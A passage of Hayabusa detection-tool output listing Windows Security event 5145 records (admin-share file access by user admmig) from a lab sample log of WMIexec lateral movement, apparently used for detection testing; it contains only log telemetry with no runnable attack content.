SMB.evtx +2021-04-22 20:32:32.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W37d1a032# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W37d1a032#\3000cd8689f492cfebdd90745d8ff4f5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W39c436dd# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W39c436dd#\1e419fc634fa508e323ce21b5ed38e24 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.015 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W69ef49d2# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.015 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W69ef49d2#\3904c1c8a3c65252ed404558b48ebbc1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.015 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W71daf281# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.015 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W71daf281#\4dc6f876453e5e2ebf2a9ee674543449 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.015 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W81a3882f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W81a3882f#\a85f95161dcf12987a79a1b41adbdb9c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W708fc392# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W708fc392#\8f2dcf5025667bf632e62398c422a6da : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W5052cbb1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W5052cbb1#\3d4dc36b565611250515cd25ebe64bed : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W57798b05# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W57798b05#\a9ccbdffc3a6a0fca980872c1531aa02 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W73044bb5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W73044bb5#\ca9e965c5eab4b76dc40c510a6a4a916 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W193497eb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W193497eb#\2ebfdca668bed840047e6bcbeec44e53 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.064 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W08054466# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.064 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W08054466#\728711ada9b68483d998f34ac723c295 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.064 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wad38fd8b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.064 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wad38fd8b#\9158e541821e2b6d43c32648464e77c2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.079 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wad78daf4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.079 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wad78daf4#\81b597084cf1f78a1957cf8138744f32 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.096 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.099 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb2d030b7# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.099 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb2d030b7#\fa5c1a0df187c30480b0623065a70395 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.099 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb2d06916# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.099 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb2d06916#\d61b7f885a9fd4f4766031b996ca7d6a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.099 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb9b5bb58# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.114 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.114 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb9b5bb58#\094367b5bb80758c8f0ab02018658d91 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Contacts\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wbc80354b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Documents\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wbc80354b#\1dd94a4862b69a4583662583681346ca : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Downloads\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wc1cc6649# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Favorites\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wc1cc6649#\c869d6724028906387ff9f65e11cd9a4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Links\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wca5f1176# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Music\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wca5f1176#\0e765b6e054c8bac98f30ced03330615 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Pictures\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wcffedcb4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Saved Games\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.145 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wcffedcb4#\37b337245bcc60a0f8c6cc814157fd9f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Searches\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wd75d181a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Videos\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wd75d181a#\ff89d7fa29ebae7dfdd1cf2db43686dc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wd518ee0d# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wd518ee0d#\0658126a7d3bc7b0e7f548f2e3a423fb : IP Address: 